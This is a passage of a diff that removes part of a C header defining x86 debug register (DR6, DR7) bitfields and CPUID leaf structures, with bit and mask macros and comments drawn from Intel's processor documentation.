mode (enabled with the - * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, - * any of the other debug status bits also may be set. - */ - uint64_t task_switch : 1; -#define DR6_TASK_SWITCH_BIT 15 -#define DR6_TASK_SWITCH_FLAG 0x8000 -#define DR6_TASK_SWITCH_MASK 0x01 -#define DR6_TASK_SWITCH(_) (((_) >> 15) & 0x01) - - /** - * @brief RTM (restricted transactional memory) flag - * - * [Bit 16] Indicates (when clear) that a debug exception (\#DB) or breakpoint exception (\#BP) occurred inside an RTM - * region while advanced debugging of RTM transactional regions was enabled. This bit is set for any other debug exception - * (including all those that occur when advanced debugging of RTM transactional regions is not enabled). This bit is always - * 1 if the processor does not support RTM. - * - * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] - */ - uint64_t restricted_transactional_memory : 1; -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 16 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x10000 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 16) & 0x01) - uint64_t reserved2 : 47; - }; - - uint64_t flags; -} dr6; - -typedef union -{ - struct - { - /** - * @brief L0 through L3 (local breakpoint enable) flags (bits 0, 2, 4, and 6) - * - * [Bit 0] Enables (when set) the breakpoint condition for the associated breakpoint for the current task. When a - * breakpoint condition is detected and its associated Ln flag is set, a debug exception is generated. The processor - * automatically clears these flags on every task switch to avoid unwanted breakpoint conditions in the new task. - */ - uint64_t local_breakpoint_0 : 1; -#define DR7_LOCAL_BREAKPOINT_0_BIT 0 -#define DR7_LOCAL_BREAKPOINT_0_FLAG 0x01 -#define DR7_LOCAL_BREAKPOINT_0_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_0(_) (((_) >> 0) & 0x01) - - /** - * @brief G0 through G3 (global breakpoint enable) flags (bits 1, 3, 5, and 7) - * - * [Bit 1] Enables (when set) the breakpoint condition for the associated breakpoint for all tasks. When a breakpoint - * condition is detected and its associated Gn flag is set, a debug exception is generated. The processor does not clear - * these flags on a task switch, allowing a breakpoint to be enabled for all tasks. - */ - uint64_t global_breakpoint_0 : 1; -#define DR7_GLOBAL_BREAKPOINT_0_BIT 1 -#define DR7_GLOBAL_BREAKPOINT_0_FLAG 0x02 -#define DR7_GLOBAL_BREAKPOINT_0_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_0(_) (((_) >> 1) & 0x01) - uint64_t local_breakpoint_1 : 1; -#define DR7_LOCAL_BREAKPOINT_1_BIT 2 -#define DR7_LOCAL_BREAKPOINT_1_FLAG 0x04 -#define DR7_LOCAL_BREAKPOINT_1_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_1(_) (((_) >> 2) & 0x01) - uint64_t global_breakpoint_1 : 1; -#define DR7_GLOBAL_BREAKPOINT_1_BIT 3 -#define DR7_GLOBAL_BREAKPOINT_1_FLAG 0x08 -#define DR7_GLOBAL_BREAKPOINT_1_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_1(_) (((_) >> 3) & 0x01) - uint64_t local_breakpoint_2 : 1; -#define DR7_LOCAL_BREAKPOINT_2_BIT 4 -#define DR7_LOCAL_BREAKPOINT_2_FLAG 0x10 -#define DR7_LOCAL_BREAKPOINT_2_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_2(_) (((_) >> 4) & 0x01) - uint64_t global_breakpoint_2 : 1; -#define DR7_GLOBAL_BREAKPOINT_2_BIT 5 -#define DR7_GLOBAL_BREAKPOINT_2_FLAG 0x20 -#define DR7_GLOBAL_BREAKPOINT_2_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_2(_) (((_) >> 5) & 0x01) - uint64_t local_breakpoint_3 : 1; -#define DR7_LOCAL_BREAKPOINT_3_BIT 6 -#define DR7_LOCAL_BREAKPOINT_3_FLAG 0x40 -#define DR7_LOCAL_BREAKPOINT_3_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_3(_) (((_) >> 6) & 0x01) - uint64_t global_breakpoint_3 : 1; -#define DR7_GLOBAL_BREAKPOINT_3_BIT 7 -#define DR7_GLOBAL_BREAKPOINT_3_FLAG 0x80 -#define DR7_GLOBAL_BREAKPOINT_3_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_3(_) (((_) >> 7) & 0x01) - - /** - * @brief LE (local exact breakpoint enable) - * - * [Bit 8] This feature is not supported in the P6 family processors, later IA-32 processors, and Intel 64 processors. When - * set, these flags cause the processor to detect the exact instruction that caused a data breakpoint condition. For - * backward and forward compatibility with other Intel processors, we recommend that the LE and GE flags be set to 1 if - * exact breakpoints are required. - */ - uint64_t local_exact_breakpoint : 1; -#define DR7_LOCAL_EXACT_BREAKPOINT_BIT 8 -#define DR7_LOCAL_EXACT_BREAKPOINT_FLAG 0x100 -#define DR7_LOCAL_EXACT_BREAKPOINT_MASK 0x01 -#define DR7_LOCAL_EXACT_BREAKPOINT(_) (((_) >> 8) & 0x01) - uint64_t global_exact_breakpoint : 1; -#define DR7_GLOBAL_EXACT_BREAKPOINT_BIT 9 -#define DR7_GLOBAL_EXACT_BREAKPOINT_FLAG 0x200 -#define DR7_GLOBAL_EXACT_BREAKPOINT_MASK 0x01 -#define DR7_GLOBAL_EXACT_BREAKPOINT(_) (((_) >> 9) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief RTM (restricted transactional memory) flag - * - * [Bit 11] Enables (when set) advanced debugging of RTM transactional regions. This advanced debugging is enabled only if - * IA32_DEBUGCTL.RTM is also set. - * - * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] - */ - uint64_t restricted_transactional_memory : 1; -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 11 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x800 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief GD (general detect enable) flag - * - * [Bit 13] Enables (when set) debug-register protection, which causes a debug exception to be generated prior to any MOV - * instruction that accesses a debug register. When such a condition is detected, the BD flag in debug status register DR6 - * is set prior to generating the exception. This condition is provided to support in-circuit emulators. - * When the emulator needs to access the debug registers, emulator software can set the GD flag to prevent interference - * from the program currently executing on the processor. - * The processor clears the GD flag upon entering to the debug exception handler, to allow the handler access to the debug - * registers. - */ - uint64_t general_detect : 1; -#define DR7_GENERAL_DETECT_BIT 13 -#define DR7_GENERAL_DETECT_FLAG 0x2000 -#define DR7_GENERAL_DETECT_MASK 0x01 -#define DR7_GENERAL_DETECT(_) (((_) >> 13) & 0x01) - uint64_t reserved3 : 2; - - /** - * @brief R/W0 through R/W3 (read/write) fields (bits 16, 17, 20, 21, 24, 25, 28, and 29) - * - * [Bits 17:16] Specifies the breakpoint condition for the corresponding breakpoint. The DE (debug extensions) flag in - * control register CR4 determines how the bits in the R/Wn fields are interpreted. When the DE flag is set, the processor - * interprets bits as follows: - * - 00 - Break on instruction execution only. - * - 01 - Break on data writes only. - * - 10 - Break on I/O reads or writes. - * - 11 - Break on data reads or writes but not instruction fetches. - * When the DE flag is clear, the processor interprets the R/Wn bits the same as for the Intel386(TM) and Intel486(TM) - * processors, which is as follows: - * - 00 - Break on instruction execution only. - * - 01 - Break on data writes only. - * - 10 - Undefined. - * - 11 - Break on data reads or writes but not instruction fetches. - */ - uint64_t read_write_0 : 2; -#define DR7_READ_WRITE_0_BIT 16 -#define DR7_READ_WRITE_0_FLAG 0x30000 -#define DR7_READ_WRITE_0_MASK 0x03 -#define DR7_READ_WRITE_0(_) (((_) >> 16) & 0x03) - - /** - * @brief LEN0 through LEN3 (Length) fields (bits 18, 19, 22, 23, 26, 27, 30, and 31) - * - * [Bits 19:18] Specify the size of the memory location at the address specified in the corresponding breakpoint address - * register (DR0 through DR3). These fields are interpreted as follows: - * - 00 - 1-byte length. - * - 01 - 2-byte length. - * - 10 - Undefined (or 8 byte length, see note below). - * - 11 - 4-byte length. - * If the corresponding RWn field in register DR7 is 00 (instruction execution), then the LENn field should also be 00. The - * effect of using other lengths is undefined. - * - * @see Vol3B[17.2.5(Breakpoint Field Recognition)] - */ - uint64_t length_0 : 2; -#define DR7_LENGTH_0_BIT 18 -#define DR7_LENGTH_0_FLAG 0xC0000 -#define DR7_LENGTH_0_MASK 0x03 -#define DR7_LENGTH_0(_) (((_) >> 18) & 0x03) - uint64_t read_write_1 : 2; -#define DR7_READ_WRITE_1_BIT 20 -#define DR7_READ_WRITE_1_FLAG 0x300000 -#define DR7_READ_WRITE_1_MASK 0x03 -#define DR7_READ_WRITE_1(_) (((_) >> 20) & 0x03) - uint64_t length_1 : 2; -#define DR7_LENGTH_1_BIT 22 -#define DR7_LENGTH_1_FLAG 0xC00000 -#define DR7_LENGTH_1_MASK 0x03 -#define DR7_LENGTH_1(_) (((_) >> 22) & 0x03) - uint64_t read_write_2 : 2; -#define DR7_READ_WRITE_2_BIT 24 -#define DR7_READ_WRITE_2_FLAG 0x3000000 -#define DR7_READ_WRITE_2_MASK 0x03 -#define DR7_READ_WRITE_2(_) (((_) >> 24) & 0x03) - uint64_t length_2 : 2; -#define DR7_LENGTH_2_BIT 26 -#define DR7_LENGTH_2_FLAG 0xC000000 -#define DR7_LENGTH_2_MASK 0x03 -#define DR7_LENGTH_2(_) (((_) >> 26) & 0x03) - uint64_t read_write_3 : 2; -#define DR7_READ_WRITE_3_BIT 28 -#define DR7_READ_WRITE_3_FLAG 0x30000000 -#define DR7_READ_WRITE_3_MASK 0x03 -#define DR7_READ_WRITE_3(_) (((_) >> 28) & 0x03) - uint64_t length_3 : 2; -#define DR7_LENGTH_3_BIT 30 -#define DR7_LENGTH_3_FLAG 0xC0000000 -#define DR7_LENGTH_3_MASK 0x03 -#define DR7_LENGTH_3(_) (((_) >> 30) & 0x03) - uint64_t reserved4 : 32; - }; - - uint64_t flags; -} dr7; - -/** - * @} - */ - - /** - * @defgroup cpuid \ - * CPUID - * - * @see Vol2A[3.2(CPUID)] (reference) - * @{ - */ - /** - * @brief Returns CPUID's Highest Value for Basic Processor Information and the Vendor Identification String - * - * When CPUID executes with EAX set to 0, the processor returns the highest value the CPUID recognizes for returning basic - * processor information. The value is returned in the EAX register and is processor specific. - * A vendor identification string is also returned in EBX, EDX, and ECX. For Intel processors, the string is "GenuineIntel" - * and is expressed: - * - EBX <- 756e6547h (* "Genu", with G in the low eight bits of BL *) - * - EDX <- 49656e69h (* "ineI", with i in the low eight bits of DL *) - * - ECX <- 6c65746eh (* "ntel", with n in the low eight bits of CL *) - */ -#define CPUID_SIGNATURE 0x00000000 -typedef struct -{ - /** - * @brief EAX - * - * Maximum Input Value for Basic CPUID Information. - */ - uint32_t max_cpuid_input_value; - - /** - * @brief EBX - * - * "Genu" - */ - uint32_t ebx_value_genu; - - /** - * @brief ECX - * - * "ntel" - */ - uint32_t ecx_value_ntel; - - /** - * @brief EDX - * - * "ineI" - */ - uint32_t edx_value_inei; -} cpuid_eax_00; - - -/** - * @brief Returns Model, Family, Stepping Information, Additional Information and Feature Information - * - * Returns: - * * Model, Family, Stepping Information in EAX - * * Additional Information in EBX - * * Feature Information in ECX and EDX - */ -#define CPUID_VERSION_INFORMATION 0x00000001 -typedef struct -{ - /** - * @brief When CPUID executes with EAX set to 01H, version information is returned in EAX - */ - union - { - struct - { - uint32_t stepping_id : 4; -#define CPUID_VERSION_INFORMATION_STEPPING_ID_BIT 0 -#define CPUID_VERSION_INFORMATION_STEPPING_ID_FLAG 0x0F -#define CPUID_VERSION_INFORMATION_STEPPING_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_STEPPING_ID(_) (((_) >> 0) & 0x0F) - uint32_t model : 4; -#define CPUID_VERSION_INFORMATION_MODEL_BIT 4 -#define CPUID_VERSION_INFORMATION_MODEL_FLAG 0xF0 -#define CPUID_VERSION_INFORMATION_MODEL_MASK 0x0F -#define CPUID_VERSION_INFORMATION_MODEL(_) (((_) >> 4) & 0x0F) - uint32_t family_id : 4; -#define CPUID_VERSION_INFORMATION_FAMILY_ID_BIT 8 -#define CPUID_VERSION_INFORMATION_FAMILY_ID_FLAG 0xF00 -#define CPUID_VERSION_INFORMATION_FAMILY_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_FAMILY_ID(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 13:12] - 0 - Original OEM Processor - * - 1 - Intel OverDrive(R) Processor - * - 2 - Dual processor (not applicable to Intel486 processors) - * - 3 - Intel reserved - */ - uint32_t processor_type : 2; -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_BIT 12 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_FLAG 0x3000 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_MASK 0x03 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE(_) (((_) >> 12) & 0x03) - uint32_t reserved1 : 2; - - /** - * [Bits 19:16] The Extended Model ID needs to be examined only when the Family ID is 06H or 0FH. - */ - uint32_t extended_model_id : 4; -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_BIT 16 -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_FLAG 0xF0000 -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID(_) (((_) >> 16) & 0x0F) - - /** - * [Bits 27:20] The Extended Family ID needs to be examined only when the Family ID is 0FH. - */ - uint32_t extended_family_id : 8; -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_BIT 20 -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_FLAG 0xFF00000 -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_MASK 0xFF -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID(_) (((_) >> 20) & 0xFF) - uint32_t reserved2 : 4; - }; - - uint32_t flags; - } cpuid_version_information; - - /** - * @brief When CPUID executes with EAX set to 01H, additional information is returned to the EBX register - */ - union - { - struct - { - /** - * [Bits 7:0] This number provides an entry into a brand string table that contains brand strings for IA-32 processors. - * More information about this field is provided later in this section. - */ - uint32_t brand_index : 8; -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_BIT 0 -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_FLAG 0xFF -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX(_) (((_) >> 0) & 0xFF) - - /** - * @brief Value * 8 = cache line size in bytes; used also by CLFLUSHOPT - * - * [Bits 15:8] This number indicates the size of the cache line flushed by the CLFLUSH and CLFLUSHOPT instructions in - * 8-byte increments. This field was introduced in the Pentium 4 processor. - */ - uint32_t clflush_line_size : 8; -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_BIT 8 -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_FLAG 0xFF00 -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Maximum number of addressable IDs for logical processors in this physical package. - * - * @remarks The nearest power-of-2 integer that is not smaller than EBX[23:16] is the number of unique initial APIC IDs - * reserved for addressing different logical processors in a physical package. This field is only valid if - * CPUID.1.EDX.HTT[bit 28] = 1. - */ - uint32_t max_addressable_ids : 8; -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_BIT 16 -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_FLAG 0xFF0000 -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] This number is the 8-bit ID that is assigned to the local APIC on the processor during power up. This field - * was introduced in the Pentium 4 processor. - */ - uint32_t initial_apic_id : 8; -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_BIT 24 -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_FLAG 0xFF000000 -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - } cpuid_additional_information; - - /** - * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX - */ - union - { - struct - { - /** - * @brief Streaming SIMD Extensions 3 (SSE3) - * - * [Bit 0] A value of 1 indicates the processor supports this technology. - */ - uint32_t streaming_simd_extensions_3 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_BIT 0 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 0) & 0x01) - - /** - * @brief PCLMULQDQ instruction - * - * [Bit 1] A value of 1 indicates the processor supports the PCLMULQDQ instruction. - */ - uint32_t pclmulqdq_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_BIT 1 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_FLAG 0x02 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION(_) (((_) >> 1) & 0x01) - - /** - * @brief 64-bit DS Area - * - * [Bit 2] A value of 1 indicates the processor supports DS area using 64-bit layout. - */ - uint32_t ds_area_64bit_layout : 1; -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_BIT 2 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_FLAG 0x04 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT(_) (((_) >> 2) & 0x01) - - /** - * @brief MONITOR/MWAIT instruction - * - * [Bit 3] A value of 1 indicates the processor supports this feature. - */ - uint32_t monitor_mwait_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_BIT 3 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_FLAG 0x08 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION(_) (((_) >> 3) & 0x01) - - /** - * @brief CPL Qualified Debug Store - * - * [Bit 4] A value of 1 indicates the processor supports the extensions to the Debug Store feature to allow for branch - * message storage qualified by CPL. - */ - uint32_t cpl_qualified_debug_store : 1; -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_BIT 4 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_FLAG 0x10 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE(_) (((_) >> 4) & 0x01) - - /** - * @brief Virtual Machine Extensions - * - * [Bit 5] A value of 1 indicates that the processor supports this technology. - */ - uint32_t virtual_machine_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_BIT 5 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_FLAG 0x20 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS(_) (((_) >> 5) & 0x01) - - /** - * @brief Safer Mode Extensions - * - * [Bit 6] A value of 1 indicates that the processor supports this technology. - * - * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] - */ - uint32_t safer_mode_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_BIT 6 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_FLAG 0x40 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS(_) (((_) >> 6) & 0x01) - - /** - * @brief Enhanced Intel SpeedStep(R) technology - * - * [Bit 7] A value of 1 indicates that the processor supports this technology. - */ - uint32_t enhanced_intel_speedstep_technology : 1; -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_BIT 7 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_FLAG 0x80 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY(_) (((_) >> 7) & 0x01) - - /** - * @brief Thermal Monitor 2 - * - * [Bit 8] A value of 1 indicates whether the processor supports this technology. - */ - uint32_t thermal_monitor_2 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_BIT 8 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_FLAG 0x100 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2(_) (((_) >> 8) & 0x01) - - /** - * @brief Supplemental Streaming SIMD Extensions 3 (SSSE3) - * - * [Bit 9] A value of 1 indicates the presence of the Supplemental Streaming SIMD Extensions 3 (SSSE3). A value of 0 - * indicates the instruction extensions are not present in the processor. - */ - uint32_t supplemental_streaming_simd_extensions_3 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_BIT 9 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x200 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 9) & 0x01) - - /** - * @brief L1 Context ID - * - * [Bit 10] A value of 1 indicates the L1 data cache mode can be set to either adaptive mode or shared mode. A value of 0 - * indicates this feature is not supported. See definition of the IA32_MISC_ENABLE MSR Bit 24 (L1 Data Cache Context Mode) - * for details. - */ - uint32_t l1_context_id : 1; -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_BIT 10 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_FLAG 0x400 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID(_) (((_) >> 10) & 0x01) - - /** - * @brief IA32_DEBUG_INTERFACE MSR for silicon debug - * - * [Bit 11] A value of 1 indicates the processor supports IA32_DEBUG_INTERFACE MSR for silicon debug. - */ - uint32_t silicon_debug : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_BIT 11 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_FLAG 0x800 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG(_) (((_) >> 11) & 0x01) - - /** - * @brief FMA extensions using YMM state - * - * [Bit 12] A value of 1 indicates the processor supports FMA (Fused Multiple Add) extensions using YMM state. - */ - uint32_t fma_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_BIT 12 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_FLAG 0x1000 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS(_) (((_) >> 12) & 0x01) - - /** - * @brief CMPXCHG16B instruction - * - * [Bit 13] A value of 1 indicates that the feature is available. - */ - uint32_t cmpxchg16b_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_BIT 13 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_FLAG 0x2000 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION(_) (((_) >> 13) & 0x01) - - /** - * @brief xTPR Update Control - * - * [Bit 14] A value of 1 indicates that the processor supports changing IA32_MISC_ENABLE[bit 23]. - */ - uint32_t xtpr_update_control : 1; -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_BIT 14 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_FLAG 0x4000 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL(_) (((_) >> 14) & 0x01) - - /** - * @brief Perfmon and Debug Capability - * - * [Bit 15] A value of 1 indicates the processor supports the performance and debug feature indication MSR - * IA32_PERF_CAPABILITIES. - */ - uint32_t perfmon_and_debug_capability : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_BIT 15 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_FLAG 0x8000 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY(_) (((_) >> 15) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief Process-context identifiers - * - * [Bit 17] A value of 1 indicates that the processor supports PCIDs and that software may set CR4.PCIDE to 1. - */ - uint32_t process_context_identifiers : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_BIT 17 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_FLAG 0x20000 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS(_) (((_) >> 17) & 0x01) - - /** - * @brief Direct Cache Access - * - * [Bit 18] A value of 1 indicates the processor supports the ability to prefetch data from a memory mapped device (Direct - * Cache Access). - */ - uint32_t direct_cache_access : 1; -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_BIT 18 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_FLAG 0x40000 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS(_) (((_) >> 18) & 0x01) - - /** - * @brief SSE4.1 support - * - * [Bit 19] A value of 1 indicates that the processor supports SSE4.1. - */ - uint32_t sse41_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_BIT 19 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_FLAG 0x80000 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT(_) (((_) >> 19) & 0x01) - - /** - * @brief SSE4.2 support - * - * [Bit 20] A value of 1 indicates that the processor supports SSE4.2. - */ - uint32_t sse42_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_BIT 20 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_FLAG 0x100000 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT(_) (((_) >> 20) & 0x01) - - /** - * @brief x2APIC support - * - * [Bit 21] A value of 1 indicates that the processor supports x2APIC feature. - */ - uint32_t x2apic_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_BIT 21 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_FLAG 0x200000 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT(_) (((_) >> 21) & 0x01) - - /** - * 